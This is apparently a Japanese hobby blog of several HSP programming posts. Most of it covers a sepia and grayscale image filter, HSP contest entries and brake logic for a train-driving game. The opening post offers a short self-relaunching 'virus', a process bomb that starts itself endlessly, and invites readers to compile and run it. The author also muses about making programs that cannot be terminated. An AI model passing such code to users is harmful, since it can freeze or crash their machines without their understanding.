最近流行のウイルスをつくってみました。

repeat -1

exec "a.exe"

loop

興味のある方は上のプログラムを実行ファイルに変換し名前をa.exeにして実行してみてください。

なおそのときに起こった全ての現象について私は責任を負えません

そういえば、終了ボタンを押すときにサブルーチンにジャンプさせる命令がありますが、それを使えば

終了できないプログラムを作ることも可能です

プログラム次第ではタスクマネージャでも消せないプログラムが作ることができます

今度作ってみようかと思います。

まず簡略化の前に前回言い忘れてたことがあります。
行列の計算はdouble型の変数で行なっていましたってことです。

普通HSP以外では小数入りの計算は整数の計算と比べて劇的に遅く、セピア変換の計算などは整数型の変数を全部1024倍して計算するのが主らしいのですが、私の扱っているHSPは小数の計算も整数と同じくらいの速さなので正直に小数入り変数double型で計算をしている構造になっています。

ところで出力は整数型でいいのに何で小数入り型にしたり1024倍したりするのかは分かりますよね・・？小数切捨てで誤差ができるのを防ぐためです。

ではそろそろ本題のアルゴリズム簡略化に着手しましょう！

まず、どう考えても無駄なのはRGB→YUVの作業のUを決める計算とVを決める計算です。
どうせ２、３行後で定数を代入されるのですから・・・・

で、いっそのことUとVの変数を削除してしまえという結論にたどり着きます。

するとループ内の計算は以下のようになります。

gsel 1

pget cnt,a:r=ginfo_r:g=ginfo_g:b=ginfo_b 　　　　　　　　　　; RGB値を取得し代入

y=0.299*r+0.587*g+0.114*b　　　　　　　　　　　　　　　　 ; 行列の計算１

r=1.0*y+1.402*14.336　　　　　　　　　　　　　　　　　 ; 逆行列の計算１

g=1.0*y+0.334*23.296-0.714*14.336 　　　　　　　 ; 逆行列の計算２

b=1.0*y-1.772*23.296 　　　　　　　　　　　　　　　 ; 逆行列の計算３

gsel 2

color r,g,b

pset cnt,a

あとは掛け算と足し算をあらかじめ計算し終えておけば

gsel 1

pget cnt,a:r=ginfo_r:g=ginfo_g:b=ginfo_b　　　　　　 ; RGB値を取得し代入

y=0.299*r+0.587*g+0.114*b 　　　　　　　　　　　　　; 行列の計算１

r=20.01+y　　　　　　　　　　　　　　　　　　　　　　　　 ; 逆行列の計算１

g=-2.46+y 　　　　　　　　　　　　　　　　　　　　　　　 ; 逆行列の計算２

b=-41.28+y 　　　　　　　　　　　　　　　　　 　　　　　; 逆行列の計算３

gsel 2

color r,g,b

pset cnt,a

とこうなり

もう r g bの変数も必要ないと思うようになり

gsel 1

pget cnt,a

y=0.299*ginfo_r+0.587*ginfo_g+0.114*ginfo_b

gsel 2

color 20.01+y,-2.46+y,-41.28+y

pset cnt,a

ここまで簡略化することができました！！

最初r g b y u vの６つだったのがもうyしか変数が残っていません！！

さてここで、プログラムをよく見てほしいのですがこれはグレースケール変換プログラムにすごい似ているのです。

グレースケール変換プログラムはこれです。（ループ内のみ）

gsel 1

pget cnt,a

y=0.299*ginfo_r+0.587*ginfo_g+0.114*ginfo_b

gsel 2

color y,y,y

pset cnt,a

見てください。color の指定以外全部一緒です！

つまりセピア画像はグレースケール画像に色をちょっと加算＆減算しただけのもので、セピア限定のなにか特別な処理方法で算出した色ではなかったと言うことです！！

見た目は違えどカレーとシチューみたいに途中まで作り方が同じだったってことに自分で発見したとき驚きでした！！　　　　　　　　　　　　　　　　　　　　　　（例えに無理あるなｗ）

「セピア変換プログラム」でググってでてきたページの中に、誰もグレースケールにちょっと色を加えるだけだよ、と書いてなかったのでなんか自分が一番最初に発見した、エライ人みたいな気分になってます（笑）

ところでまた話はそれますがグレースケールの計算でなぜ（R+G+B）/３じゃないのか

って思うかもしれません。

私も最初そう思いました。

一応それでも正解なのだそうですが、人間の目では緑の明るさがより強く感じられるみたいなので、

そこを考慮すると全て３分の１すりゃいいってわけにはいかんみたいなんです。

なので人間の目に対してよりリアルなグレースケール画像を作りたかったら↑の計算式を

コンピューターに対してよりリアルなグレースケールなら全部３分の１って計算でっでいうことでおｋみたいです

お恥ずかしながらHSPコンテストに公開したセピアフィルターについて解説したくなったので、勝手にしていきたいと思います。

まずセピア色とは、イカ墨で描かれた茶色っぽい色のことです。
写真などを古く見せたい場合などは、カラー写真をわざとセピア調に変換したりしますよね。

で、プログラムはどうなってるかというとまず１ドットずつR、G、Bを取得しその数値をY、U、Vという形に変換します。そしてU=-23.296 、V=14.336　としてまたR、G、Bの形に変換してスクリーンに反映させます。

ここで、一応補足ですがR、G、B、Y、U、Vは全部変数で、Rにも０～２５５の整数が、Gにも０～２５５が、Bにも０～２５５が、Yにも０～２５５、Uには－１２８～１２７が、Vにも－１２８～１２７が・・・とそれぞれ６つの変数全部が２５６通りの色の情報を持っています。（24bitフルカラーの場合）

下にＲＧＢ→ＹＵＶの変換式（回転行列）とその逆行列YUV→ＲＧＢを載せました↓




 

図では行列が描いてありますが、プログラムではちゃんと計算式に展開しないといけません（少なくともＨＳＰの場合）。

これをすべてのドットで行うと、どんな画像でもちゃんとお望みのセピアになっているはずです！

例えばＨＳＰ言語で書くとどうなるか

横３０縦２０ドットで

１のバッファに変換前２のバッファに変換後の画像が出力されるようなプログラムで行きたいと思います

reepat 20

a=cnt

reepat 30

gsel 1

pget cnt,a:r=ginfo_r:g=ginfo_g:b=ginfo_b ; RGB値を取得し代入

y=0.299*r+0.587*g+0.114*b ; 行列の計算１

u=-0.169*r-0.331*g+0.5*b ; 行列の計算２

v=0.5*r-0.419*g-0.081*b ; 行列の計算３

u=-23.296:v=14.336

r=1.0*y+1.402*v ; 逆行列の計算１

g=1.0*y-0.334*u-0.714*v 　　　　　　 ; 逆行列の計算２

b=1.0*y+1.772*u 　　　　　　　　　 ; 逆行列の計算３

gsel 2

color r,g,b

pset cnt,a

loop

loop

以上です。

そのままコピペして実行してもエラーになります（バッファの確保は各自でお願いします）

さて今のままでは計算時間が膨大になり非効率なので、次回は↑の変換アルゴリズムをどんどん簡略化していきますよー！

無駄な計算を省いていくと、最後にある発見をします。

次回：セピア色変換プログラム②　グレースケール＋？＝セピア

毎年この時期になると決まってHSPコンテストのページを見てウキウキしてます！！

すげぇーっと感心させられる作品や、これくらいなら俺でも作れそうかなと思う作品、さまざまあります。

毎回面白い作品を投稿してくる人とか、今年はどんなのを作ってくれるんだろうと期待してたりもします！

でもそういう自分はめっきり技術力が上がってないなと・・・心から思います・・

私は似合わず写真編集ツールなどというものを投稿しました

いい加減ゲーム作れやと、自分に言いきかしているのですがシュライシュラー程度のものしか作れていないので・・・

第一自分はグラフィックがまったくうまくかけないので、どんなにすごいプログラムでもバカゲーにしか見てもらえないのです！！

だからいつもツールばかり作っちゃうんですよねー

あと一億桁のかけ算の話ですが・・・実は原因不明のバグが発生してデバッグする意欲が失せて急遽取りやめになりました・・・スミマセン

今まで作ったものといえば思いっきりパクリゲーや人の企画したものばかりだし、ちょっとは自分でゲーム企画して作ってみるかなー。１０月３１日の２３時くらいまでになんか作ろっと

前回の説明はもう絶対読んだ人を眠くさせる自信があります！

他の人ならもうちょっとわかりやすく説明できたと思います。すいません・・

が、まぁ話を戻して

例のＡＩを起動させるＡＩはどうなってるのかというと↓これです

if tstu="停車駅":if (xej*xej+aa1*3)*496>y:za=1

まず、次が停車駅だというのは当たり前の条件ですよね。zaは通常０が代入されていて、１が代入されると停車ＡＩが起動するって意味付けされています。

(xej*xej+aa1*3)*496>y

では、速度を２乗＋補正して距離と比べてブレーキかけはじめのタイミングをうかがっています。

xejはただの速度の変数です。

aa1には「実際」の加速度が代入されています。

実際とは、Ｐ５からＢ８に急にマスコンを操作したときに実際の電車のようにブレーキが遅れて効いてくる、いわゆる急に加速度が変わらないように補正をかけたってことです。

そこらへんのリアリティは追求してみたかったんで・・

基本は速度の２乗に影響されてきます。ブレーキＡＩのところとかなり似ていると思いませんか？

大体、Ｂ５くらいのブレーキでうまく停車できる程度の距離になったら、ブレーキＡＩ開始ってなっています。

当然、定数の*496を増減変化させればＢ４でもＢ６でも好きなようにできます。

というわけでブレーキの遅れも考慮に入れたＡＩブレーキ始動ＡＩでした。

ところで書いてて途中で気づいたのですが、ブレーキに非常ブレーキが無いことに気づきました！

これはヤバイ！

完全にど忘れしていました！

そこらへんのリアリティは追及しようと思わなかったのか・・自分！？

よく考えたら、対抗電車とかも駅名も終点も、もう何も無いですね！

未だ発展途上過ぎるゲームですね・・・

さて今度は、速度制限とかカーブつきとか本格的に電車でＧＯに近づけたゲームを作ろうかな！？